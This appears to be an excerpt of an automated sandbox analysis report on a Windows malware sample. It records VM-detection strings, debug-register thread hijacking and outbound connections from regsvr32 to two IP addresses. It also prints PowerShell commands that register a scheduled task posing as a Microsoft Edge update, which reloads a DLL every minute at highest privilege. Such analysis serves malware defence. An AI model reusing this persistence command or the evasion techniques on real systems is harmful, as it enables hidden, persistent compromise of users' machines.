Binary or memory string: Hyper-V wwqkrpglnloojsk Bus Pipes
Source: regsvr32.exe, 00000010.00000003.2020259374.0000000002E3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NECVMWar VMware SATA CD00\w
Source: regsvr32.exe, 00000010.00000003.2020259374.0000000002E3F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#4&224f42ef&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}$
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus Pipesl
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: AlDHyper-V Virtual Machine Bus Pipes
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: X2Hyper-V VM Vid Partitionj
Source: regsvr32.exe, 00000010.00000003.1973208647.00000000012B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: nt 14868Actual Cycle Count 14870Proximity Domain Id4872Posted Interrupt Notifications/sec4874Hypervisor Branch Predictor Flushes/sec4876Hypervisor L1 Data Cache Flushes/sec4878Hypervisor Immediate L1 Data Cache Flushes/sec4880Hypervisor Microarchitectural Buffer Flushes/sec4882Counter Refresh Sequence Number4884Counter Refresh Reference Time4886Idle Accumulation Snapshot4888Active Tsc Count Snapshot4890HWP Request MSR Context Switches/sec4892Guest Run Time4894Idle Time4896% Total Run Time4898% Hypervisor Run Time4900% Guest Run Time4902% Idle Time4904Total Interrupts/sec4788Hyper-V Hypervisor4790Logical Processors4792Partitions4794Total Pages4796Virtual Processors4798Monitored Notifications4800Modern Standby Entries4802Platform Idle Transitions4804HypervisorStartupCost4906Hyper-V Hypervisor Root Partition4908Virtual Processors4910Virtual TLB Pages4912Address Spaces4914Deposited Pages4916GPA Pages4918GPA Space Modifications/sec4920Virtual TLB Flush Entires/sec4922Recommended Virtual TLB Size49244K GPA pages49262M GPA pages49281G GPA pages4930512G GPA pages49324K device pages49342M device pages49361G device pages4938512G device pages4940Attached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost5032Debug Register Accesses/sec5034Debug Register Accesses Cost5036Page Fault Intercepts/sec5038Page Fault Intercepts Cost5040NMI Interrupts/sec5042NMI Interrupts Cost5044Guest Page Table Maps/sec5046Large Page TLB Fills/sec5048Small Page TLB Fills/sec5050Reflected Guest Page Faults/sec5052APIC MMIO Accesses/sec5054IO Intercept Messages/sec5056Memory Intercept Messages/sec5058APIC EOI Accesses/sec5060Other Messages/sec5062Page Table Allocations/sec5064Logical Processor Migrations/sec5066Address Space Evictions/sec5068Address Space Switches/sec5070Address Domain Flushes/sec5072Address Space Flushes/sec5074Global GVA Range Flushes/sec5076Local Flushed GVA Ranges/sec5078Page Table Evi
Source: powershell.exe, 00000011.00000002.2098231476.000001C80E6A8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Logical Processor.mui
Source: regsvr32.exe, 00000010.00000003.1976588616.00000000012C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ached Devices4942Device Interrupt Mappings4944I/O TLB Flushes/sec4946I/O TLB Flush Cost4948Device Interrupt Errors4950Device DMA Errors4952Device Interrupt Throttle Events4954Skipped Timer Ticks4956Partition Id4958Nested TLB Size4960Recommended Nested TLB Size4962Nested TLB Free List Size4964Nested TLB Trimmed Pages/sec4966Pages Shattered/sec4968Pages Recombined/sec4970I/O TLB Flushes Base4972Hyper-V Hypervisor Root Virtual Processor4974Total Run Time4976Hypervisor Run Time4978Remote Node Run Time4980Normalized Run Time4982Ideal Cpu4984Hypercalls/sec4986Hypercalls Cost4988Page Invalidations/sec4990Page Invalidations Cost4992Control Register Accesses/sec4994Control Register Accesses Cost4996IO Instructions/sec4998IO Instructions Cost5000HLT Instructions/sec5002HLT Instructions Cost5004MWAIT Instructions/sec5006MWAIT Instructions Cost5008CPUID Instructions/sec5010CPUID Instructions Cost5012MSR Accesses/sec5014MSR Accesses Cost5016Other Intercepts/sec5018Other Intercepts Cost5020External Interrupts/sec5022External Interrupts Cost5024Pending Interrupts/sec5026Pending Interrupts Cost5028Emulated Instructions/sec5030Emulated Instructions Cost
Source: regsvr32.exe, 00000008.00000003.1820951709.000000000335A000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.000000000335B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2017378313.0000000002DD1000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000388B000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor
Source: regsvr32.exe, 00000010.00000003.2331064424.000000000123C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003A03000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2333007615.0000000001259000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2032234436.0000000001245000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processorem32#
Source: regsvr32.exe, 00000008.00000003.1827269444.0000000000D94000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092139747.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.1820951709.00000000033D8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2096853913.0000000000D96000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2325195653.000000000390A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: THyper-V Hypervisor Root Virtual Processor7;
Source: regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Virtual Machine Bus PipessJ
Source: regsvr32.exe, 00000008.00000003.2092606345.000000000291D000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000008.00000003.2092953875.0000000002946000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2332362864.00000000011F3000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000002.2332847185.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2326216192.0000000003985000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2019625539.0000000003885000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Hypervisor Root Partition$

Source: C:\Users\user\AppData\Local\Temp\is-KCPL5.tmp\file.tmp

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

16_2_00007FFDFB206890

Source: C:\Windows\System32\regsvr32.exe

Code function: 16_2_00007FFDFB21DBC0 GetProcessTimes,GetSystemTimes,GetProcessIoCounters,OpenProcessToken,GetTokenInformation,GetProcessHeap,HeapAlloc,GetTokenInformation,CloseHandle,NtQueryInformationProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,memcpy,ReadProcessMemory,ReadProcessMemory,memset,GetModuleFileNameExW,K32GetModuleFileNameExW,VirtualQueryEx,RtlFreeHeap,GetProcessTimes,

16_2_00007FFDFB21DBC0

Source: C:\Windows\System32\regsvr32.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\regsvr32.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\regsvr32.exe	Network Connect: 154.216.19.129 58001			Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Network Connect: 93.93.131.124 443			Jump to behavior

Sets debug register (to hijack the execution of another thread)

Source: C:\Windows\System32\regsvr32.exe

Thread register set: 7688 5

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /T 3	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe" /VERYSILENT /SUPPRESSMSGBOXES	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute \"regsvr32\" -Argument \"/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll\") -Trigger (New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(1) -RepetitionInterval (New-TimeSpan -Minutes 1)) -TaskName 'MicrosoftEdgeUpdateTaskMachineUA{D7C2DB06-FCF6-4992-AF37-53F140CD5A88}' -Description 'Default' -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries) -RunLevel Highest"	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command "if (Get-ScheduledTask \| Where-Object { $_.Actions.Execute -eq 'regsvr32' -and $_.Actions.Arguments -eq '/S /i:INSTALL C:\Users\user\AppData\Roaming\PoisedCoyote.dll' }) { exit 0 } else { exit 1 }"

Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata\roaming\poisedcoyote.dll\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{d7c2db06-fcf6-4992-af37-53f140cd5a88}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries) -runlevel highest"
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" "register-scheduledtask -action (new-scheduledtaskaction -execute \"regsvr32\" -argument \"/s /i:install c:\users\user\appdata\roaming\poisedcoyote.dll\") -trigger (new-scheduledtasktrigger -once -at (get-date).addminutes(1) -repetitioninterval (new-timespan -minutes 1)) -taskname 'microsoftedgeupdatetaskmachineua{d7c2db06-fcf6-4992-af37-53f140cd5a88}' -description 'default' -settings (new-scheduledtasksettingsset -allowstartifonbatteries -dontstopifgoingonbatteries) -runlevel highest"			Jump to behavior

Source: regsvr32.exe, 00000008.00000003.2088977331.000000000338C000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2021256685.00000000038FA000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000010.00000003.2321313066.00000000038BD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Shell_TrayWnd

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
